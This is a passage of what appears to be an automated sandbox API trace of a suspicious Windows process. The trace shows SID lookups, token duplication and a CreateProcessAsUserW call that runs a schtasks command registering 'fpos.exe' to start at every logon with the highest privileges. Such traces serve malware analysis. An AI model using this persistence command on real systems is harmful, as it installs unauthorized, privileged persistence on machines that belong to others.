cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 1 [0085.750] malloc (_Size=0x18) returned 0xeef60 [0085.750] malloc (_Size=0x18) returned 0xeef20 [0085.750] free (_Block=0xef0a0) [0085.750] free (_Block=0xef040) [0085.750] free (_Block=0xeff30) [0085.750] free (_Block=0xeef20) [0085.750] free (_Block=0xeef60) [0085.751] free (_Block=0xef020) [0085.751] free (_Block=0xee200) [0085.751] GetVersionExW (in: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x9d14, dwMinorVersion=0x32a120, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0085.751] GetTokenInformation (in: TokenHandle=0x238, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebce18 | out: TokenInformation=0x0, ReturnLength=0xebce18) returned 0 [0085.751] GetLastError () returned 0x7a [0085.751] malloc (_Size=0x2c) returned 0xee240 [0085.751] GetTokenInformation (in: TokenHandle=0x238, TokenInformationClass=0x1, TokenInformation=0xee240, TokenInformationLength=0x2c, ReturnLength=0xebce18 | out: TokenInformation=0xee240, ReturnLength=0xebce18) returned 1 [0085.751] IsValidSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0085.751] GetLengthSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0085.751] malloc (_Size=0x1c) returned 0xeff30 [0085.752] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff30, pSourceSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff30*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0085.752] GetSidIdentifierAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee252 [0085.752] malloc (_Size=0x18) returned 0xef020 [0085.752] _ultow (in: _Dest=0x5, _Radix=15453168 | out: _Dest=0x5) returned="5" [0085.752] malloc (_Size=0x18) returned 0xeef60 [0085.752] malloc (_Size=0x18) returned 0xeef20 [0085.752] SysStringLen (param_1="S-1-") returned 0x4 [0085.752] SysStringLen (param_1="5") returned 0x1 [0085.752] memcpy (in: _Dst=0x381208, _Src=0x381238, _Size=0xa | out: _Dst=0x381208) returned 0x381208 [0085.752] memcpy (in: _Dst=0x381210, _Src=0x381328, _Size=0x4 | out: _Dst=0x381210) returned 0x381210 [0085.752] free (_Block=0xef020) [0085.752] free (_Block=0xeef60) [0085.752] GetSidSubAuthorityCount (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee251 [0085.752] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee258 [0085.752] _ultow (in: _Dest=0x15, _Radix=15453168 | out: _Dest=0x15) returned="21" [0085.752] malloc (_Size=0x18) returned 0xeef60 [0085.753] malloc (_Size=0x18) returned 0xef020 [0085.753] SysStringLen (param_1="S-1-5") returned 0x5 [0085.753] SysStringLen (param_1="-") returned 0x1 [0085.753] memcpy (in: _Dst=0x381328, _Src=0x381208, _Size=0xc | out: _Dst=0x381328) returned 0x381328 [0085.753] memcpy (in: _Dst=0x381332, _Src=0x381238, _Size=0x4 | out: _Dst=0x381332) returned 0x381332 [0085.753] free (_Block=0xeef20) [0085.753] free (_Block=0xeef60) [0085.753] malloc (_Size=0x18) returned 0xeef60 [0085.753] malloc (_Size=0x18) returned 0xeef20 [0085.753] SysStringLen (param_1="S-1-5-") returned 0x6 [0085.753] SysStringLen (param_1="21") returned 0x2 [0085.753] memcpy (in: _Dst=0x381238, _Src=0x381328, _Size=0xe | out: _Dst=0x381238) returned 0x381238 [0085.753] memcpy (in: _Dst=0x381244, _Src=0x381208, _Size=0x6 | out: _Dst=0x381244) returned 0x381244 [0085.753] free (_Block=0xef020) [0085.753] free (_Block=0xeef60) [0085.753] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee25c [0085.753] _ultow (in: _Dest=0xfb7f942f, _Radix=15453168 | out: _Dest=0xfb7f942f) returned="4219442223" [0085.753] malloc (_Size=0x18) returned 0xeef60 [0085.754] malloc (_Size=0x18) returned 0xef020 [0085.754] SysStringLen (param_1="S-1-5-21") returned 0x8 [0085.754] SysStringLen (param_1="-") returned 0x1 [0085.754] memcpy (in: _Dst=0x381208, _Src=0x381238, _Size=0x12 | out: _Dst=0x381208) returned 0x381208 [0085.754] memcpy (in: _Dst=0x381218, _Src=0x381328, _Size=0x4 | out: _Dst=0x381218) returned 0x381218 [0085.754] free (_Block=0xeef20) [0085.754] free (_Block=0xeef60) [0085.754] malloc (_Size=0x18) returned 0xeef60 [0085.754] malloc (_Size=0x18) returned 0xeef20 [0085.754] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0085.754] SysStringLen (param_1="4219442223") returned 0xa [0085.754] memcpy (in: _Dst=0x337aa8, _Src=0x381208, _Size=0x14 | out: _Dst=0x337aa8) returned 0x337aa8 [0085.754] memcpy (in: _Dst=0x337aba, _Src=0x381238, _Size=0x16 | out: _Dst=0x337aba) returned 0x337aba [0085.754] free (_Block=0xef020) [0085.754] free (_Block=0xeef60) [0085.754] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee260 [0085.754] _ultow (in: _Dest=0xfbc24a41, _Radix=15453168 | out: _Dest=0xfbc24a41) returned="4223814209" [0085.754] malloc (_Size=0x18) returned 0xeef60 [0085.755] malloc (_Size=0x18) returned 0xef020 [0085.755] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0085.755] SysStringLen (param_1="-") returned 0x1 [0085.755] memcpy (in: _Dst=0x337af8, _Src=0x337aa8, _Size=0x28 | out: _Dst=0x337af8) returned 0x337af8 [0085.755] memcpy (in: _Dst=0x337b1e, _Src=0x381208, _Size=0x4 | out: _Dst=0x337b1e) returned 0x337b1e [0085.755] free (_Block=0xeef20) [0085.755] free (_Block=0xeef60) [0085.755] malloc (_Size=0x18) returned 0xeef60 [0085.755] malloc (_Size=0x18) returned 0xeef20 [0085.755] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0085.755] SysStringLen (param_1="4223814209") returned 0xa [0085.755] memcpy (in: _Dst=0x34dd98, _Src=0x337af8, _Size=0x2a | out: _Dst=0x34dd98) returned 0x34dd98 [0085.755] memcpy (in: _Dst=0x34ddc0, _Src=0x381208, _Size=0x16 | out: _Dst=0x34ddc0) returned 0x34ddc0 [0085.755] free (_Block=0xef020) [0085.755] free (_Block=0xeef60) [0085.755] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee264 [0085.755] _ultow (in: _Dest=0xe49636b4, _Radix=15453168 | out: _Dest=0xe49636b4) returned="3835049652" [0085.755] malloc (_Size=0x18) returned 0xeef60 [0085.756] malloc (_Size=0x18) returned 0xef020 [0085.756] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0085.756] SysStringLen (param_1="-") returned 0x1 [0085.756] memcpy (in: _Dst=0x34da68, _Src=0x34dd98, _Size=0x3e | out: _Dst=0x34da68) returned 0x34da68 [0085.756] memcpy (in: _Dst=0x34daa4, _Src=0x381208, _Size=0x4 | out: _Dst=0x34daa4) returned 0x34daa4 [0085.756] free (_Block=0xeef20) [0085.756] free (_Block=0xeef60) [0085.756] malloc (_Size=0x18) returned 0xeef60 [0085.756] malloc (_Size=0x18) returned 0xeef20 [0085.756] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0085.756] SysStringLen (param_1="3835049652") returned 0xa [0085.756] memcpy (in: _Dst=0x34dd98, _Src=0x34da68, _Size=0x40 | out: _Dst=0x34dd98) returned 0x34dd98 [0085.756] memcpy (in: _Dst=0x34ddd6, _Src=0x381208, _Size=0x16 | out: _Dst=0x34ddd6) returned 0x34ddd6 [0085.756] free (_Block=0xef020) [0085.756] free (_Block=0xeef60) [0085.756] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee268 [0085.756] _ultow (in: _Dest=0x3e8, _Radix=15453168 | out: _Dest=0x3e8) returned="1000" [0085.756] malloc (_Size=0x18) returned 0xeef60 [0085.757] malloc (_Size=0x18) returned 0xef020 [0085.757] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0085.757] SysStringLen (param_1="-") returned 0x1 [0085.757] memcpy (in: _Dst=0x34da68, _Src=0x34dd98, _Size=0x54 | out: _Dst=0x34da68) returned 0x34da68 [0085.757] memcpy (in: _Dst=0x34daba, _Src=0x381208, _Size=0x4 | out: _Dst=0x34daba) returned 0x34daba [0085.757] free (_Block=0xeef20) [0085.757] free (_Block=0xeef60) [0085.757] malloc (_Size=0x18) returned 0xeef60 [0085.757] malloc (_Size=0x18) returned 0xeef20 [0085.757] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0085.757] SysStringLen (param_1="1000") returned 0x4 [0085.757] memcpy (in: _Dst=0x34dd98, _Src=0x34da68, _Size=0x56 | out: _Dst=0x34dd98) returned 0x34dd98 [0085.757] memcpy (in: _Dst=0x34ddec, _Src=0x381208, _Size=0xa | out: _Dst=0x34ddec) returned 0x34ddec [0085.757] free (_Block=0xef020) [0085.757] free (_Block=0xeef60) [0085.757] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0085.757] malloc (_Size=0x5e) returned 0xf0800 [0085.758] free (_Block=0xeef20) [0085.758] malloc (_Size=0x18) returned 0xeef20 [0085.758] free (_Block=0xf0800) [0085.758] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 0 [0085.759] GetLastError () returned 0x7a [0085.759] malloc (_Size=0x14) returned 0xeef60 [0085.759] malloc (_Size=0x16) returned 0xef020 [0085.759] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xeef60, cchName=0xebccb4, ReferencedDomainName=0xef020, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name="kEecfMwgj", cchName=0xebccb4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 1 [0085.760] malloc (_Size=0x18) returned 0xef040 [0085.760] malloc (_Size=0x18) returned 0xef0a0 [0085.760] free (_Block=0xeef60) [0085.760] free (_Block=0xef020) [0085.760] free (_Block=0xeff30) [0085.761] free (_Block=0xef0a0) [0085.761] free (_Block=0xef040) [0085.761] free (_Block=0xeef20) [0085.761] free (_Block=0xee240) [0085.794] malloc (_Size=0x48) returned 0xed270 [0085.794] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefced0000 [0085.811] GetProcAddress (hModule=0x7fefced0000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefced1080 [0085.812] GetProcAddress (hModule=0x7fefced0000, lpProcName="CreateEnvironmentBlock") returned 0x7fefced10b0 [0085.812] malloc (_Size=0x18) returned 0xeef20 [0085.812] CreateEnvironmentBlock () returned 0x1 [0085.820] memcpy (in: _Dst=0xebcf20, _Src=0xebdcf0, _Size=0x68 | out: _Dst=0xebcf20) returned 0xebcf20 [0085.820] malloc (_Size=0x18) returned 0xef040 [0085.820] CreateProcessAsUserW (in: hToken=0x244, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"fpos\" /sc ONLOGON /tr \"'C:\\Users\\All Users\\Application Data\\fpos.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x37b3d0, lpCurrentDirectory=0x0, lpStartupInfo=0xebcf20*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xebcdc0 | out: lpCommandLine="schtasks.exe /create /tn \"fpos\" /sc ONLOGON /tr \"'C:\\Users\\All Users\\Application Data\\fpos.exe'\" /rl HIGHEST /f", lpProcessInformation=0xebcdc0*(hProcess=0x2f8, hThread=0x2fc, dwProcessId=0x738, dwThreadId=0x728)) returned 1 [0085.827] CloseHandle (hObject=0x2f8) returned 1 [0085.827] CloseHandle (hObject=0x2fc) returned 1 [0085.827] free (_Block=0xef040) [0085.827] DestroyEnvironmentBlock () returned 0x1 [0085.827] malloc (_Size=0x48) returned 0xed2c0 [0085.828] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x5c20baa0, dwHighDateTime=0x1d9eb0c)) [0085.828] SetEvent (hEvent=0x1f0) returned 1 [0085.828] CloseHandle (hObject=0x238) returned 1 [0085.828] CloseHandle (hObject=0x244) returned 1 [0086.051] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4) returned 0x31da80 [0086.052] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x31da80, pulNumLanguages=0xebe4d0 | out: pulNumLanguages=0xebe4d0) returned 1 [0086.052] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da80 | out: hHeap=0x2e0000) returned 1 [0086.500] SetLastError (dwErrCode=0x0) [0086.500] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0) returned 1 [0086.500] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da90 [0086.500] SetLastError (dwErrCode=0x0) [0086.500] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da90, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da90, pcchLanguagesBuffer=0xebe3e0) returned 1 [0086.500] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da80 [0086.500] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da90 | out: hHeap=0x2e0000) returned 1 [0086.500] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x34f510 [0086.500] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x34f510, pulNumLanguages=0xebe4d8 | out: pulNumLanguages=0xebe4d8) returned 1 [0086.501] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x34f510 | out: hHeap=0x2e0000) returned 1 [0086.502] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0086.503] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0086.503] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0086.503] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0086.504] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0086.504] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0086.504] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0086.506] memcpy (in: _Dst=0xebdcf0, _Src=0xebdc70, _Size=0x68 | out: _Dst=0xebdcf0) returned 0xebdcf0 [0086.506] GetCurrentThread () returned 0xfffffffffffffffe [0086.506] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xebce60 | out: TokenHandle=0xebce60*=0x244) returned 1 [0086.506] malloc (_Size=0xd8) returned 0xf4740 [0086.506] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7feffcb0000 [0086.507] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7feffcf8200 [0086.507] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaQueryInformationPolicy") returned 0x7feffcd20b0 [0086.507] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaNtStatusToWinError") returned 0x7feffcf7e40 [0086.507] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaFreeMemory") returned 0x7feffcbe390 [0086.507] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaOpenPolicy") returned 0x7feffcd0b40 [0086.507] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaClose") returned 0x7feffcd2040 [0086.508] GetProcAddress (hModule=0x7feffcb0000, lpProcName="QueryServiceStatusEx") returned 0x7feffcb7004 [0086.508] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DuplicateTokenEx") returned 0x7feffcbd310 [0086.508] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetSecurityDescriptorControl") returned 0x7feffcd3fe4 [0086.508] GetProcAddress (hModule=0x7feffcb0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7feffceb828 [0086.508] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7feffcbf924 [0086.508] GetProcAddress (hModule=0x7feffcb0000, lpProcName="CheckTokenMembership") returned 0x7feffcbd980 [0086.509] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7feffceba94 [0086.509] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7feffceba30 [0086.509] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAuditAccessObjectAce") returned 0x7feffceb9a8 [0086.509] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoW") returned 0x7feffcb89a0 [0086.509] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetNamedSecurityInfoW") returned 0x7feffcbf990 [0086.509] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7feffd0dc00 [0086.510] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7feffcf56a0 [0086.510] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7feffcf56f0 [0086.510] malloc (_Size=0x18) returned 0xeef00 [0086.510] DuplicateTokenEx (in: hExistingToken=0x244, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xebce68 | out: phNewToken=0xebce68*=0x238) returned 1 [0086.510] malloc (_Size=0x48) returned 0xed400 [0086.510] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x5c897720, dwHighDateTime=0x1d9eb0c)) [0086.510] SetEvent (hEvent=0x1f0) returned 1 [0086.516] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebcd80 | out: TokenInformation=0x0, ReturnLength=0xebcd80) returned 0 [0086.516] GetLastError () returned 0x7a [0086.516] malloc (_Size=0x2c) returned 0xee200 [0086.516] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0xee200, TokenInformationLength=0x2c, ReturnLength=0xebcd80 | out: TokenInformation=0xee200, ReturnLength=0xebcd80) returned 1 [0086.516] IsValidSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0086.516] GetLengthSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0086.516] malloc (_Size=0x1c) returned 0xeff00 [0086.516] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff00, pSourceSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff00*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0086.516] GetSidIdentifierAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee212 [0086.516] malloc (_Size=0x18) returned 0xeef20 [0086.516] _ultow (in: _Dest=0x5, _Radix=15453152 | out: _Dest=0x5) returned="5" [0086.516] malloc (_Size=0x18) returned 0xef040 [0086.516] malloc (_Size=0x18) returned 0xef0a0 [0086.517] SysStringLen (param_1="S-1-") returned 0x4 [0086.517] SysStringLen (param_1="5") returned 0x1 [0086.517] memcpy (in: _Dst=0x381178, _Src=0x3810b8, _Size=0xa | out: _Dst=0x381178) returned 0x381178 [0086.517] memcpy (in: _Dst=0x381180, _Src=0x3811d8, _Size=0x4 | out: _Dst=0x381180) returned 0x381180 [0086.517] free (_Block=0xeef20) [0086.517] free (_Block=0xef040) [0086.517] GetSidSubAuthorityCount (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee211 [0086.517] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee218 [0086.517] _ultow (in: _Dest=0x15, _Radix=15453152 | out: _Dest=0x15) returned="21" [0086.517] malloc (_Size=0x18) returned 0xef040 [0086.517] malloc (_Size=0x18) returned 0xeef20 [0086.517] SysStringLen (param_1="S-1-5") returned 0x5 [0086.517] SysStringLen (param_1="-") returned 0x1 [0086.517] memcpy (in: _Dst=0x3811d8, _Src=0x381178, _Size=0xc | out: _Dst=0x3811d8) returned 0x3811d8 [0086.517] memcpy (in: _Dst=0x3811e2, _Src=0x3810b8, _Size=0x4 | out: _Dst=0x3811e2) returned 0x3811e2 [0086.517] free (_Block=0xef0a0) [0086.517] free (_Block=0xef040) [0086.517] malloc (_Size=0x18) returned 0xef040 [0086.517] malloc (_Size=0x18) returned 0xef0a0 [0086.517] SysStringLen (param_1="S-1-5-") returned 0x6 [0086.518] SysStringLen (param_1="21") returned 0x2 [0086.518] memcpy (in: _Dst=0x3810b8, _Src=0x3811d8, _Size=0xe | out: _Dst=0x3810b8) returned 0x3810b8 [0086.518] memcpy (in: _Dst=0x3810c4, _Src=0x381178, _Size=0x6 | out: _Dst=0x3810c4) returned 0x3810c4 [0086.518] free (_Block=0xeef20) [0086.518] free (_Block=0xef040) [0086.518] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee21c [0086.518] _ultow (in: _Dest=0xfb7f942f, _Radix=15453152 | out: _Dest=0xfb7f942f) returned="4219442223" [0086.518] malloc (_Size=0x18) returned 0xef040 [0086.518] malloc (_Size=0x18) returned 0xeef20 [0086.518] SysStringLen (param_1="S-1-5-21") returned 0x8 [0086.518] SysStringLen (param_1="-") returned 0x1 [0086.518] memcpy (in: _Dst=0x381178, _Src=0x3810b8, _Size=0x12 | out: _Dst=0x381178) returned 0x381178 [0086.518] memcpy (in: _Dst=0x381188, _Src=0x3811d8, _Size=0x4 | out: _Dst=0x381188) returned 0x381188 [0086.518] free (_Block=0xef0a0) [0086.518] free (_Block=0xef040) [0086.518] malloc (_Size=0x18) returned 0xef040 [0086.518] malloc (_Size=0x18) returned 0xef0a0 [0086.518] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0086.518] SysStringLen (param_1="4219442223") returned 0xa [0086.519] memcpy (in: _Dst=0x337698, _Src=0x381178, _Size=0x14 | out: _Dst=0x337698) returned 0x337698 [0086.519] memcpy (in: _Dst=0x3376aa, _Src=0x3810b8, _Size=0x16 | out: _Dst=0x3376aa) returned 0x3376aa [0086.519] free (_Block=0xeef20) [0086.519] free (_Block=0xef040) [0086.519] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee220 [0086.519] _ultow (in: _Dest=0xfbc24a41, _Radix=15453152 | out: _Dest=0xfbc24a41) returned="4223814209" [0086.519] malloc (_Size=0x18) returned 0xef040 [0086.519] malloc (_Size=0x18) returned 0xeef20 [0086.519] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0086.519] SysStringLen (param_1="-") returned 0x1 [0086.519] memcpy (in: _Dst=0x338318, _Src=0x337698, _Size=0x28 | out: _Dst=0x338318) returned 0x338318 [0086.519] 